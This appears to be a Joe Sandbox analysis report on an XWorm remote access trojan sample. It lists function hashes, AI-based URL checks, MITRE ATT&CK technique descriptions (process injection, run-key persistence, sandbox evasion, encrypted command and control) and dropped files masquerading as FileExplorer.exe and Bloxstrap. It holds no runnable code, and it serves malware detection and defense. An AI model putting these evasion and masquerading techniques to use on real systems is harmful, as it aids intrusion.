Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99817304aac1f578e70697970ccf26703ecb126710c3f03d234028bb66ceaa61
Instruction ID: 9a18dafe9a64419e8d65efda7515a1175918acf49f4d6a0ac38952ba0f216c39
Opcode Fuzzy Hash: 99817304aac1f578e70697970ccf26703ecb126710c3f03d234028bb66ceaa61
Instruction Fuzzy Hash: 6221F350B1D9594BEB1AB7BC6836BF97BD2EF99700F4106BAE019C32D7DD1869018382

Function 00007FFD9B8994B9 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40207ab1ecff2ca7db8c808e5b9e7a0b6ad35746cefd185c720e073aa13ab7c4
Instruction ID: 6d9293d05ededddf3b02838d5d2f7a0f4973a389df481283b57e5d76cf0bfb2a
Opcode Fuzzy Hash: 40207ab1ecff2ca7db8c808e5b9e7a0b6ad35746cefd185c720e073aa13ab7c4
Instruction Fuzzy Hash: AB210B20B4E58A0FEB569BB848355F63BD1EF8A310F0541B6D089C72A2DD1CD9468392

Function 00007FFD9B898963 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b28036c5bd58e9a6c150ca230cb104e02cf18ff44e53b3de1a6b7fb4d82527
Instruction ID: a224bd33f4b4753ff9149e8bfa21f5d50df313cd95bf5de813a24762466bf57a
Opcode Fuzzy Hash: f1b28036c5bd58e9a6c150ca230cb104e02cf18ff44e53b3de1a6b7fb4d82527
Instruction Fuzzy Hash: 05110221B1990F0EEB5CEB788869674B391FF58361F4047BAD01EC31D6DE38B4478282

Function 00007FFD9B891C18 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20afbf5fd3a054890145f7310a437fa2049b5adde444fc62bc671d5cd55d9a12
Instruction ID: 0640d9fd6f1e237c1cee50616320529d71e6ff1fd444e170e1b09890ec5bbbec
Opcode Fuzzy Hash: 20afbf5fd3a054890145f7310a437fa2049b5adde444fc62bc671d5cd55d9a12
Instruction Fuzzy Hash: 3C21A570B1991D8FEF96FB6CC45A5AE37E1FB5D344B4004BAE00DC3269DE34A9418781

Function 00007FFD9B898211 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3412f244587e3b9b7a9a5ff5b0bca063391dd5ccc1736355321f50caa3563700
Instruction ID: d936ecd8fbcfc7d0b6f9bbc968ddab6a06f3041ba77738df3b92d76660c97867
Opcode Fuzzy Hash: 3412f244587e3b9b7a9a5ff5b0bca063391dd5ccc1736355321f50caa3563700
Instruction Fuzzy Hash: 84010471E09A5E4FEB45ABA488295ED7BB1FF58300F4001BBD018C61D6EF2899458742

Function 00007FFD9B891461 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348a77570c242dbd3cd5ec8375710c6d5af2163cd9b78e061aeb58bd5b298436
Instruction ID: b29c3c59c912dd9bfaad186ec8c7e171c501342c7285224400aea8804b3a7c84
Opcode Fuzzy Hash: 348a77570c242dbd3cd5ec8375710c6d5af2163cd9b78e061aeb58bd5b298436
Instruction Fuzzy Hash: 44019E05B0E7851FEB61B73C1C614717FF2CF9AA40B0404ABE4C8C70E3D90866418342

Function 00007FFD9B891951 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33271c18bc5e7af9dd2b64fa5dcea6077cd2cbee21d2dce49a515fe8c7711aa
Instruction ID: 35f39aea2317337900de29b2184aca1d1cc31566f18a5a9b33e86c8218c97cb4
Opcode Fuzzy Hash: d33271c18bc5e7af9dd2b64fa5dcea6077cd2cbee21d2dce49a515fe8c7711aa
Instruction Fuzzy Hash: 7AF0B42194F3D91FEB136B644C315E47FB0AF47100F0E41EBE488CB0A3CA1C66098392

Function 00007FFD9B891C00 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228e8a12a0af3b33eb6a3586c0e01cac2b3a32a30a3af08ab5f036ad05229259
Instruction ID: 8d84b29f1a02c51e508f4c6d9734cb94cac7c4c7868abffd320a744347373d56
Opcode Fuzzy Hash: 228e8a12a0af3b33eb6a3586c0e01cac2b3a32a30a3af08ab5f036ad05229259
Instruction Fuzzy Hash: F9F0AF31E1481E4AEB50FBA888295FEB7F1FF58304F40003BE429D219ADF346A508782

Function 00007FFD9B89204D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2f2f5e7c34efda577b4cdd3c3c275cdc136c5cee9a62283c1449dafe607663
Instruction ID: be8c0afbe6cb098d27183c86f3766788f3d4b4abd697d3b11b3b4d71ea55e33e
Opcode Fuzzy Hash: 3b2f2f5e7c34efda577b4cdd3c3c275cdc136c5cee9a62283c1449dafe607663
Instruction Fuzzy Hash: E1F0D650F1E6490BFF78BBB844796782AC1EF89304F4600B9E009C72E7DE1C68418342

Function 00007FFD9B89886C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1978cba2f6c3e65a842977903ee88d7aadd86e31c0d2dc122bf3223f85c0ff0d
Instruction ID: 2ead07c4fd75aad06bc005cf036edf530d21c00c523bce15d6a781627d0b8fd6
Opcode Fuzzy Hash: 1978cba2f6c3e65a842977903ee88d7aadd86e31c0d2dc122bf3223f85c0ff0d
Instruction Fuzzy Hash: ADE06831A2A94C4BDF10AB98A8206D9BBA0FB8C348F05007AE51CD2090D2325551C360

Analysis Process: FileExplorer.exePID: 7884, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8B0E79 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1897321011.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8b0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a662612dd21068cc574c9aac38ec52fe027314eced07cef3370dc4e9522567f0
Instruction ID: d88d39894090df9cec8fa4276b67365bc909906bd9365751d44c0ffa90170de4
Opcode Fuzzy Hash: a662612dd21068cc574c9aac38ec52fe027314eced07cef3370dc4e9522567f0
Instruction Fuzzy Hash: DE918670B2991D4FDB98F77884796AD77A2EF8C304F810478E40ED72D6DE28AD128B51

Function 00007FFD9B8B0BFE Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1897321011.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8b0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a051dbf50ce617449bf617d6340b9dce7c8fa979a2ddb29452027468fb5139
Instruction ID: bfabae4e2f322fe0b251a4880eda74da06a2a79672e6d1d2010bc79edd05182a
Opcode Fuzzy Hash: d1a051dbf50ce617449bf617d6340b9dce7c8fa979a2ddb29452027468fb5139
Instruction Fuzzy Hash: 9D713A21F1D94E0FE795A7BC98765B97BE2EF89210B4501BAD04DC32EBDD286D028781

Function 00007FFD9B8B0A91 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1897321011.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8b0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f42cf67b96265c4c05b59dd6b2199d8ffe6c616af4927f31e06eac09f0646cc
Instruction ID: f155de413a487cdec1de9af269b16f82a4a3ee55c9923c69d7c2a2ddd6f72eae
Opcode Fuzzy Hash: 9f42cf67b96265c4c05b59dd6b2199d8ffe6c616af4927f31e06eac09f0646cc
Instruction Fuzzy Hash: 9E31F551B2995A4FE758ABBC5C697BC77D2FF98701F0402B6E01CC32DBDE1869014782

Function 00007FFD9B8B0949 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1897321011.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8b0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7629b2cff96cc92d44595354b4726c3f8e2410f5a6d0cc6d18b3f985d9ad3899
Instruction ID: 4c342099759e94e711d8bdafd951348d88534925cbf5438e1514b16eb1419255
Opcode Fuzzy Hash: 7629b2cff96cc92d44595354b4726c3f8e2410f5a6d0cc6d18b3f985d9ad3899
Instruction Fuzzy Hash: 4531B830B18A1D4FDB48EBB89875AFD7BA1FF58300F500579E019D32C6DE38A9428741

Function 00007FFD9B8B1365 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1897321011.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8b0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ed5406075a04f9499490c41d2d240772e52bf9410c4cc211f20371c5cf34ca
Instruction ID: 19e3166d94098b187d71b7ff5e0abcd8610547c67d0b2d7d7edaf3e5045e17e7
Opcode Fuzzy Hash: d1ed5406075a04f9499490c41d2d240772e52bf9410c4cc211f20371c5cf34ca
Instruction Fuzzy Hash: 59317320B189494FEB88EB2C9869778B6C2EF9C315F4445BEE05EC32DBDD689C428741

Function 00007FFD9B8B1461 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1897321011.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8b0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea7e82aa9c497df44006a0cb763ddb53d96245b9465e316b6940c7fb3537bd6a
Instruction ID: 1b48b6b4ed8489174f687275e2ba04583f3c1711034b05dbed58f3bff2ce6493
Opcode Fuzzy Hash: ea7e82aa9c497df44006a0cb763ddb53d96245b9465e316b6940c7fb3537bd6a
Instruction Fuzzy Hash: 70019E15B1E7A50FE755773C1861431BFF1CF9A640B0404ABE4C8CE1E7ED08AA4287C2

Analysis Process: FileExplorer.exePID: 8188, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8A0E79 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1975080844.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09a9f6cc0770d5cb5879ed6af7a1f426ad2eeb0d63c5b50154bb3bda2691aa1
Instruction ID: 0e1902bb29ebabd77a9b2519a11c7fabacf1c44eff1ccbba049e8fc2bb55c01f
Opcode Fuzzy Hash: b09a9f6cc0770d5cb5879ed6af7a1f426ad2eeb0d63c5b50154bb3bda2691aa1
Instruction Fuzzy Hash: 8A916170B1A90D4FEB98F77884796B976A2FF88304B81047AE40EC72D6DE38AD41C751

Function 00007FFD9B8A0BFE Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1975080844.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5d11f8b1ed0b8b4208700fde7076dc577fd1a452ac5380209593a3102ee935
Instruction ID: a43382cdcb93297bb6c39ce148c56fd22743bf1269acd0bca2a204a6f00eafa2
Opcode Fuzzy Hash: 3e5d11f8b1ed0b8b4208700fde7076dc577fd1a452ac5380209593a3102ee935
Instruction Fuzzy Hash: 7C716B22F1EA4E0FE755E76C98255B97BE2EF89220F4502BBD04DC32E7DD286D428351

Function 00007FFD9B8A0A91 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1975080844.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424d08c0e1f024c67276a75301fb1a6ccebc19f753ce58bc410b034643cd5046
Instruction ID: e586c373b05b4274fc8963dc18f236f27ac8945a87661dc4b829149099ead7bd
Opcode Fuzzy Hash: 424d08c0e1f024c67276a75301fb1a6ccebc19f753ce58bc410b034643cd5046
Instruction Fuzzy Hash: 6C31C251B299494FEB98ABBC58697BD77D2EF98701F0442B6E01CC32D7DE18A9024352

Function 00007FFD9B8A0949 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1975080844.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f937db77bb68ae62c4baa90661c02770ebb3bd281ef4004af815d2d3c607e2f
Instruction ID: 463376b3039e1765f6794bb3120ba614052d4b81665cc5cd73f0a7f705d6a4ad
Opcode Fuzzy Hash: 7f937db77bb68ae62c4baa90661c02770ebb3bd281ef4004af815d2d3c607e2f
Instruction Fuzzy Hash: 8A31A570B19A0E4FEB48EBA89875AED77A1FF98300F9045B6D019D32C6DE386941C751

Function 00007FFD9B8A1365 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1975080844.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccea5733794cf0b2ec8feddc1207af30a3653cc661e05e715e318af353427448
Instruction ID: 6903dd3b292a5f03261ee5102a671f2790b5e73c600e5e963bd6f756876f38b1
Opcode Fuzzy Hash: ccea5733794cf0b2ec8feddc1207af30a3653cc661e05e715e318af353427448
Instruction Fuzzy Hash: CA317320B189494FEB88EF2C9869778B2C2EF9C315F4445BEE05EC32DBDD689C418741

Function 00007FFD9B8A1461 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1975080844.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_FileExplorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9480f48c2d6ce67023fb64201a723084ee9cf30a0fc330baa8ea13a99b63bc84
Instruction ID: 7e475b726063a4f03c787936be7ba7ddd3e8f7dcbbe4f51cc8a75d7bda1ebfd9
Opcode Fuzzy Hash: 9480f48c2d6ce67023fb64201a723084ee9cf30a0fc330baa8ea13a99b63bc84
Instruction Fuzzy Hash: D2012655A0E7990FEB65B73C18714717FF1DF97A80B0844ABE4C8CA1A3E908AA46C352

Input	Output
URL: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://dotnet.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://dotnet.microsoft.com
URL: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CZxDiTktSY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\CZxDiTktSY.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\FileExplorer.exe.log

C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

C:\Users\user\AppData\Roaming\FileExplorer.exe

